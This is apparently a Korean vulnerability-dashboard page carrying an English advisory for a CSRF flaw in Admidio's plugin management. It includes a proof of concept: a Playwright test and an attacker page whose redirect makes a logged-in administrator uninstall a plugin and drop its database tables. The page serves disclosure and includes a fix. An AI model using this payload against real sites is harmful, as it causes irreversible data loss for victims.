Kestrel
대시보드로 돌아가기
CVE-2026-53760MEDIUM· 5.2GHSA대응게시일: 2026. 07. 09.수정일: 2026. 07. 09.

Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
5.2medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한높음
사용자 상호작용필요
범위불변
영향
기밀성 영향없음
무결성 영향높음
가용성 영향낮음
버전별 점수
CVSS 3.15.2MODERATE
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L

상세 설명

Summary

The modules/plugins.php endpoint handles plugin installation, uninstallation, and update operations via GET requests without CSRF token validation. Because these are top-level navigations, browsers include SameSite=Lax session cookies. An attacker crafts a malicious page that, when an authenticated administrator visits it, triggers arbitrary plugin operations. The uninstall operation executes DROP TABLE SQL scripts and destroys plugin data.

Details

modules/plugins.php reads the mode (install, uninstall, update) and name parameters directly from $_GET:

bash
1// modules/plugins.php
2$mode = admFuncVariableIsValid($_GET, 'mode', 'string');
3$pluginName = admFuncVariableIsValid($_GET, 'name', 'string');

The file contains zero calls to SecurityUtils::validateCsrfToken(). Other administrative operations in the same codebase (such as the save mode in preferences) validate CSRF tokens correctly.

Because the operations use GET requests, modern browsers send SameSite=Lax cookies on top-level GET navigations (link clicks, redirects, window.location assignments). A cross-origin page triggers these operations by navigating the browser to the vulnerable URL.

The doUninstall() function is the most destructive path. It executes SQL scripts from the plugin's db_scripts/ directory, which contain DROP TABLE statements:

sql
1// modules/plugins.php - doUninstall()
2function doUninstall($pluginFolder) {
3 // Reads and executes SQL from $pluginFolder/db_scripts/uninstall.sql
4 // Contains DROP TABLE statements
5}

Proof of Concept

The following Playwright test demonstrates a cross-origin CSRF attack. An attacker hosts a page on a different origin that redirects an authenticated administrator's browser to the uninstall endpoint:

xss
1// playwright-csrf-poc.js
2const { test, expect } = require('@playwright/test');
3
4test('CSRF plugin uninstall via cross-origin redirect', async ({ browser }) => {
5 const context = await browser.newContext();
6 const page = await context.newPage();
7
8 // Step 1: Admin logs in to Admidio
9 await page.goto('https://admidio.example.com/adm_program/system/login.php');
10 await page.fill('#usr_login_name', 'admin');
11 await page.fill('#usr_password', 'password');
12 await page.click('#btn_login');
13 await page.waitForURL('**/overview.php');
14
15 // Step 2: Admin visits attacker-controlled page on different origin
16 // The attacker page contains:
17 // <script>window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';</script>
18 await page.goto('https://attacker.example.com/csrf.html');
19
20 // Step 3: Browser follows redirect with SameSite=Lax cookies
21 // The birthday plugin is uninstalled, its database tables dropped
22 await page.waitForURL('**/plugins.php*');
23
24 // Verify the plugin was uninstalled
25 await page.goto('https://admidio.example.com/adm_program/modules/plugins.php');
26 const content = await page.content();
27 expect(content).not.toContain('birthday');
28});

Simplified attacker page (csrf.html hosted on attacker origin):

xss
1<html>
2<body>
3<script>
4 window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';
5</script>
6</body>
7</html>

When an administrator visits this page, the browser navigates to the Admidio uninstall URL with full session cookies, and the server uninstalls the birthday plugin.

Impact

An unauthenticated attacker tricks an Admidio administrator into visiting a malicious web page (via phishing, forum post, or embedded content) that performs plugin operations without visible indication. The uninstall operation executes DROP TABLE statements, causing irreversible data loss. The install operation activates plugins with known vulnerabilities. The update operation disrupts plugin functionality. The victim only needs to visit a single page.

Recommended Fix

Switch plugin install, uninstall, and update operations from GET to POST requests. Add SecurityUtils::validateCsrfToken() checks to all state-changing operations in modules/plugins.php, consistent with the pattern used elsewhere in the codebase.


Found by aisafe.io

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.